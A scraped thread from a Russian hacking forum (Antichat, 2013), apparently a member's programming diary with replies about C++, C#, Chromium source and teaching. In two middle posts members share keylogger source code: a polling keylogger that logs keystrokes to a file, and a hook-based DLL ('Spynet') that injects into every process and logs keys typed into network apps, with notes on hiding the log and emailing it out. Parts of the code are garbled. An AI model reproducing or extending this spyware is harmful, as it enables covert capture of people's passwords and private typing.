 |
|

25.10.2013, 01:00
|
|
Познавший АНТИЧАТ
Регистрация: 27.02.2012
Сообщений: 1,609
Провел на форуме: 622143
Репутация:
150
|
|
Цитата:
Сообщение от MaCroSs
Что за мутант у тебя на аве?=))
NIKTO 2 один из моих любимы сканеров.
|
|
|

25.10.2013, 01:00
|
|
Постоянный
Регистрация: 01.04.2012
Сообщений: 796
Провел на форуме: 290165
Репутация:
61
|
|
Цитата:
Сообщение от kipishnoy
NIKTO 2 один из моих любимы сканеров.
ахаха ну да,голову ему отрезал и на аву
|
|
|

25.10.2013, 01:00
|
|
Познавший АНТИЧАТ
Регистрация: 03.04.2013
Сообщений: 1,025
Провел на форуме: 189495
Репутация:
227
|
|
Цитата:
Сообщение от kipishnoy
И что он тут делает?
прочитав 3 исходника не поймешь как работает элемент проги, но все же принцип можно
Цитата:
Директивой препроцессора #include мы подключаем четыре файла: ash/cancel_mode.h,ash/root_window_controller.h,ash/shell.h,ui/aura/root_window.h.
Есть пространство имен ash которым обволакиваются все исходники хромиума, а также другие небольшие по объему пространства имен.
Задаем функцию void DispatchCancelMode(), помещаем туда метод класса ShellRootWindowControllerList controllers, а параметром метода является GetAllRootWindowControllers().
Выполняем цикл фор (переменная(точнее интератор (STL)) присваиваем начало(по идее списка) и выполняем этот цикл до тех пор пока не достигним его конца)
В теле выполняем:
указатель i обращается к root_window() та обращается к AsRootWindowHostDelegate() а она к OnHostCancelMode()
|
|
|

25.10.2013, 01:00
|
|
Познавший АНТИЧАТ
Регистрация: 05.12.2011
Сообщений: 1,550
Провел на форуме: 543306
Репутация:
167
|
|
Уже было подумал что ты там что-то интересное узрел...Эх,снова обманули.
Цитата:
прочитав 3 исходника не поймешь как работает прога, но все же принцип можно
Мне кажется что прочитав всего 3 из ~1000 - вообще ничего понять нельзя.
Вспоминаю что смотрел сырки лисы,теперь думаю что мне не кажется.
|
|
|

25.10.2013, 01:00
|
|
Познавший АНТИЧАТ
Регистрация: 03.04.2013
Сообщений: 1,025
Провел на форуме: 189495
Репутация:
227
|
|
Цитата:
Сообщение от BlackH
Уже было подумал что ты там что-то интересное узрел...Эх,снова обманули.
Мне кажется что прочитав всего 3 из ~1000 - вообще ничего понять нельзя.
Вспоминаю что смотрел сырки лисы,теперь думаю что мне не кажется.
Обманул я(неправильно выразился, не всю прогу, а кусок), плохой я, куча кода и кашка с инклудами, вот помимо хрома, хочу освоить хуки(изучаю мануал).
|
|
|

26.10.2013, 01:00
|
|
Познавший АНТИЧАТ
Регистрация: 03.04.2013
Сообщений: 1,025
Провел на форуме: 189495
Репутация:
227
|
|
Нашел путевый сорц кейлогера на http://forum.k0d.cc/
C++ highlight
[LEFT]
Код:
#include
#include
#include
#include
using
namespace
std;
string GetKey(int Key)
{
string KeyString =
""
;
if
(Key ==
8
)
KeyString =
"[delete]"
;
else
if
(Key ==
13
)
KeyString =
"\n"
;
else
if
(Key ==
32
)
KeyString =
" "
;
else
if
(Key == VK_PAUSE)
KeyString =
"[PAUSE]"
;
else
if
(Key == VK_CAPITAL)
KeyString =
"[CAPITAL]"
;
else
if
(Key == VK_SHIFT)
KeyString =
"[SHIFT]"
;
else
if
(Key == VK_TAB)
KeyString =
"[TABULATOR]"
;
else
if
(Key == VK_CONTROL)
KeyString =
"[CTRL]"
;
else
if
(Key == VK_ESCAPE)
KeyString =
"[ESCAPE]"
;
else
if
(Key == VK_END)
KeyString =
"[END]"
;
else
if
(Key == VK_HOME)
KeyString =
"[HOME]"
;
else
if
(Key == VK_LEFT)
KeyString =
""
;
else
if
(Key == VK_RIGHT)
KeyString =
"[right]"
;
else
if
(Key == VK_UP)
KeyString =
"[UP]"
;
else
if
(Key == VK_DOWN)
KeyString =
"[DOWN]"
;
else
if
(Key == VK_SNAPSHOT)
KeyString =
"[SNAPSHOT]"
;
else
if
(Key == VK_NUMLOCK)
KeyString =
"[NUMLOCK]"
;
else
if
(Key ==
190
|| Key ==
110
)
KeyString =
"."
;
else
if
(Key >=
96
&& Key
47
&& Key
64
&& Key <
91
)
{
if
(
GetKeyState
(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key +
32
;
KeyString = Key;
}
}
}
return
KeyString;
}
int main()
{
string Filename =
"C:\\log.txt"
;
string TempString =
""
;
fstream FStream;
FStream.
open
(Filename.
c_str
(), fstream::out | fstream::app);
while
(
true
)
{
Sleep
(
5
);
for
(
int
i =
8
; i <
191
; i++)
{
if
(
GetAsyncKeyState
(i)&
1
==
1
)
{
TempString =
GetKey
(i);
FStream.
write
(TempString.
c_str
(), TempString.
size
());
FStream.
close
();
FStream.
open
(Filename.
c_str
(), std::fstream::out | std::fstream::app);
}
}
}
}
Можно прокачать кейлогер до такого уровня....просто добавив еще хуков и отправку на мыло отчета
требования гугл,тишина, компилятор, время = кул кейлогер
|
|
|

26.10.2013, 01:00
|
|
Познавший АНТИЧАТ
Регистрация: 05.12.2011
Сообщений: 1,550
Провел на форуме: 543306
Репутация:
167
|
|
Таких кейлогеров уйма.На любой ЯП мона найти.
Кульного мало в нем.Хуков нет в нем а если и добавлять их то уже проще с нуля написать,ибо данный сорец работает на опросах клавы,аля:"нажата клавиша или нет?". Легко детектят аверы и различные анти спайи.
У кейлогера на хуках немного по другому всё:
C++ highlight
Код:
#include
#include
#define MAX 256 // who else loves 256? =)
//my macros
#define my_toLower(x) ((x >= 'A') && (x = 'A') && (x "
,
"/?"
,
"\\|"
};
//does ABSOLUTELY NOTHING!!!
LRESULT CALLBACK DummyProc(int nCode,WPARAM wParam,LPARAM lParam)
{
return
CallNextHookEx
(hInjectionHook,nCode,wParam,lParam);
}
//The Hook makes our Dll Injected into every process that has a Message Queue
//DRAWBACK : Console Programs are NOT hooked...
BOOL WINAPI InstallHook()
{
if
(hInjectionHook)
return
TRUE;
hInjectionHook =
SetWindowsHookEx
(WH_CALLWNDPROC,DummyProc,g_hInstance,
0
);
return
(hInjectionHook !=
NULL
);
}
//Plz Note The Keylogger does NOT Stop...
//By Uninstalling the Injection Hook, Spynet Will not inject future instances of processes
BOOL WINAPI UninstallHook() //return true if unhook successfull
{
if
(!hInjectionHook)
return
TRUE;
//no hook to unhook
BOOL bRet =
UnhookWindowsHookEx
(hInjectionHook);
if
(bRet) hInjectionHook =
NULL
;
return
bRet;
}
BOOL AppendLog(char *szData) //MUST be ASCIIZ string
{
DWORD dwTemp;
return
WriteFile
(g_hLogFile,szData,
strlen
(szData),&dwTemp,
0
);
}
char getShiftChar(WPARAM wParam)
{
for
(
int
i=
0
;i
1
)
{
switch
(wParam)
{
case
VK_RETURN :
strcpy
(szKey,
"\r\n"
);
break
;
case
VK_SPACE:
strcpy
(szKey,
" "
);
break
;
case
VK_DELETE:
strcpy
(szKey,
"[DEL]"
);
break
;
case
VK_MENU:
strcpy
(szKey,
"[ALT]"
);
break
;
case
VK_CONTROL:
strcpy
(szKey,
"[CTL]"
);
break
;
case
VK_ESCAPE :
strcpy
(szKey,
"[ESC]"
);
break
;
case
VK_BACK:
strcpy
(szKey,
"[BSP]"
);
break
;
case
VK_TAB :
strcpy
(szKey,
"[TAB]"
);
break
;
case
VK_SHIFT :
strcpy
(szKey,
"[SFT]"
);
break
;
case
VK_CAPITAL :
strcpy
(szKey,
"[CPLK]"
);
break
;
case
VK_SCROLL :
strcpy
(szKey,
"[SRLK]"
);
break
;
default
:
AppendLog
(
"["
);
strcat
(szKey,
"]"
);
break
;
}
}
}
AppendLog
(szKey);
}
return
CallNextHookEx
(hInjectionHook,nCode,wParam,lParam);
}
BOOL InstallKeyLoggerHook()
{
if
(hKLoggerHook)
return
TRUE;
hKLoggerHook =
SetWindowsHookEx
(WH_KEYBOARD,KLogProc,g_hInstance,
0
);
return
(hKLoggerHook !=
NULL
);
}
BOOL UninstallKeyLoggerHook() //return true if unhook successfull
{
if
(!hKLoggerHook)
return
TRUE;
//no hook to unhook
BOOL bRet =
UnhookWindowsHookEx
(hKLoggerHook);
if
(bRet) hKLoggerHook =
NULL
;
return
bRet;
}
void logHeader(BOOL bBegin)
{
char
szBuf[MAX *
2
],szTemp[MAX];
SYSTEMTIME systime;
DWORD dwTemp;
GetLocalTime
(&systime);
if
(bBegin)
strcpy
(szBuf,
"\r\nSpynet Session Begin: "
);
else
strcpy
(szBuf,
"\r\nSpynet Session End: "
);
//[H]H:MM
wsprintf
(szTemp,
"%d:%02d, "
,systime.wHour,systime.wMinute);
strcat
(szBuf,szTemp);
//MM/DD/YYYY
wsprintf
(szTemp,
"%d/%d/%d"
,systime.wMonth,systime.wDay,systime.wYear);
strcat
(szBuf,szTemp);
if
(bBegin)
{
strcat
(szBuf,
"\r\nUser : "
);
dwTemp = MAX;
GetUserName
(szTemp,&dwTemp);
strcat
(szBuf,szTemp);
}
AppendLog
(szBuf);
}
char * GetFileName(char *Path)
{
char
*temp = Path;
for
(
int
i=
0
;Path[i] !=
0
;i++)
if
(Path[i] ==
'\\'
) temp = &Path[i+
1
];
return
temp;
}
//logs headers for log files (time,date,logged in username)
BOOL PrepareLogFile()
{
//GetWindowsDirectory(g_logPath,MAX_PATH); //or GetSystemDirectory() (recommended)
GetCurrentDirectory
(MAX_PATH,g_logPath);
//log file is created in the processes current directory
if
(g_logPath[
strlen
(g_logPath) -
1
] !=
'\\'
)
strcat
(g_logPath,
"\\"
);
strcat
(g_logPath,
GetFileName
(g_exePath));
// log file will be "iexplore.exe.log"
strcat
(g_logPath,
".log"
);
g_hLogFile =
CreateFile
(g_logPath,GENERIC_WRITE,
NULL
,
0
,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,
0
);
//On Release : Add Hidden Attribute.
if
(g_hLogFile != INVALID_HANDLE_VALUE)
{
SetFilePointer
(g_hLogFile,
0
,
0
,FILE_END);
logHeader
(TRUE);
}
return
(g_hLogFile !=
NULL
);
}
BOOL APIENTRY DllMain(HINSTANCE hInstance,DWORD dwReason,LPVOID lpvReserved)
{
switch
(dwReason)
{
case
DLL_PROCESS_ATTACH:
g_hInstance = hInstance;
GetModuleFileName
(
0
,g_exePath,MAX_PATH);
GetModuleFileName
(hInstance,g_dllPath,MAX_PATH);
strcpy
(g_exePath,_strlwr(g_exePath));
#if AUTOHOOK
//first load will call injection and successfull load inspite of the process we are in...
if
(hInjectionHook ==
NULL
)
{
InstallHook
();
return
TRUE;
}
#endif
//instead of hardcoding the list a ".ini"
//file can be used to dynamically configure spynet
int
i;
for
(i=
0
;i<UBOUND_NETAPPLIST;i++)
{
if
(
strstr
(g_exePath,netAppList[i]))
{
BOOL bRet =
PrepareLogFile
() &&
InstallKeyLoggerHook
();
return
bRet;
}
}
//now, normally we LoadLibrary ourself to increase the reference count
//so that we won't be "free-ed" once the original injector terminates
//BUT, since we have established a WH_KEYBOARD hook
// in the process so we won't be unloaded till we have the keyboard hook...
return
FALSE;
break
;
case
DLL_PROCESS_DETACH:
UninstallKeyLoggerHook
();
if
(g_hLogFile)
{
logHeader
(FALSE);
CloseHandle
(g_hLogFile);
}
break
;
}
return
TRUE;
}
//TODO :
// Add Hot Key to Stop Keylogging...
// Evil stuff i haven't thought of yet...
// Email the Log File...
Вот только у всей этой кучи паблика одна и та же проблема.Попробуй поработай например с испанской,итальянской,туре цкой локалью.Обломчег)
|
|
|

02.11.2013, 01:00
|
|
Познавший АНТИЧАТ
Регистрация: 03.04.2013
Сообщений: 1,025
Провел на форуме: 189495
Репутация:
227
|
|
Пару дней назад заинтересовался C#. Как-то принадоело кодить на С++, так пошел в разведку на шарпы и джаву. Джавы больше и там надо в нее внедряться, а шарпы просто - умеешь кодить на С++, то и на шарпах значит тож. Пролистал книжечку Г.Шилдта C# Руководство для начинающих. Очень похожий синтаксис, но чуть не привычно. Может я не вчитался, но члены в классах там объявляются так:
C# highlight
Код:
class
Test
{
public
int
y;
private
double
t;
}
на плюсах
C++ highlight
Код:
class
{
double
t;
public
:
int
y;
};
Сегодня с svrid'ом в скайпе болтали, так вот доболтались до создания формочек на шарпах. Реально круто! Все так легко. Хотел осваивать сокеты на спп, но учиться тяжело(ну не идет и все, хоть убейся), но на C# все кажется легче. Ну вобщем я сложил неккую стратегию обучения ЯП: сначала я учу один, если что-то не понимаю, и то нечто реализовано легче в другом ЯП, учу то, потом после обучения, во втором ЯП иду учу в первом. Так после некой практики в C# Windows Forms, буду учить C++ Qt. Я рад, что выбрал именно С++, для первичного изучения ЯП, так как мне легко осваивать его родственников C#,Java.
Вел лекцию по Алгоритмам, тяжеловато - ребята в игрули играются, сидят в вк и только несколько человек внимательно слушают, бывает вся группа включает мозги, а бывает и отключает. Просто меня попросила моя знакомая преподавательница вести лекцию, потому что ей вынесли мозг на ДОП, там бешеные дети...конечно объяснять основы Ввода-вывода в Паскаль несложно,но кто-то не так напишет, другой из 5-ти строк кода сделает такую кашу....ну и быстро все забывают под конец занятия благодаря игрулям. Один вообще сидит вк в уголку и ему пох на учебу, переписывается, он и на аксесе, бездельничал. Просто поражает за что родители платят 2000 грн.. Хотя это не мои проблемы, но просто поразительно. Также обучал народ арифметическим операциям, разыменовывал
Delphi highlight
было прикольно, пото му что было куча вопросов пока не написали чудо программу - "Калькулятор", вводим 2 числа с калавы - умножаем, плюсуем, отнимаем, делим нацело и с остатком, а особо когда человек не понимает значения операторов : и ;, хотя рассказывал о них 10+ мин. Учили типы данных, здесь слава Богу вопросов у слушателей не возникло.
После кьта хочу выучить WinAPI C++, довольно прикольные программы видел с использованием этой технологии. Как получать доступ к процессам, а самое интересное для меня это хуки. Пользоваться ими я не умею. Ну а после детального изучения C++ и C# перейду ка я к Java. А после джавки перейду к миласику Assembler, взрывать оперативку. Вот таков план. Кстати у меня через месяц курс по С++. Можно будет учителю задать много вопросам по тому же ВиньАПИ.
|
|
|

17.11.2013, 01:00
|
|
Познавший АНТИЧАТ
Регистрация: 03.04.2013
Сообщений: 1,025
Провел на форуме: 189495
Репутация:
227
|
|
Сижу я вчера на лекции и скучаю, препод что-то говорит, я дополняю. писал он код с ошибками специально, а ребята видели каждую третью, а я все. Я качался на стуле - Чуть не упал. Попросил я его пойти на плюсы. И оп нежданчик!
Кароч после того как я попросился пойти на плюсики посмотреть на ребят. Препод вышел на три минуты. До конца занятия 40 мин. И бах нежданчик, он приходит в кабинет и говорит: "Влад, поздравляю у тебя зачет!", я как! я вселишь попросился на плюсы. Я был в шоке оставалось 40 мин. Но со мной были плюсы паскальчик и шарпики. Написал я его! О да! Пару программ у меня на паскальчике не вышло, но на плюсах вышло! Я сделал четыре задания из пяти, но препод знал меня давненько, поэтому сказал в офисе что я все сдал.
У меня в среду консультация по С++. Надо повторить ООП. Вот такой я везучий на 13-ом занятии из 18-ти хапануть зачет
|
|
|

17.11.2013, 01:00
|
|
Познавший АНТИЧАТ
Регистрация: 03.04.2013
Сообщений: 1,025
Провел на форуме: 189495
Репутация:
227
|
|
Лично мне программирование дает силы жить. Я люблю что-то творить, а также ломать голову нас сложными вопросами.
__________________________________________________ ______________________________________
Кодинг мой смысл жизни.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|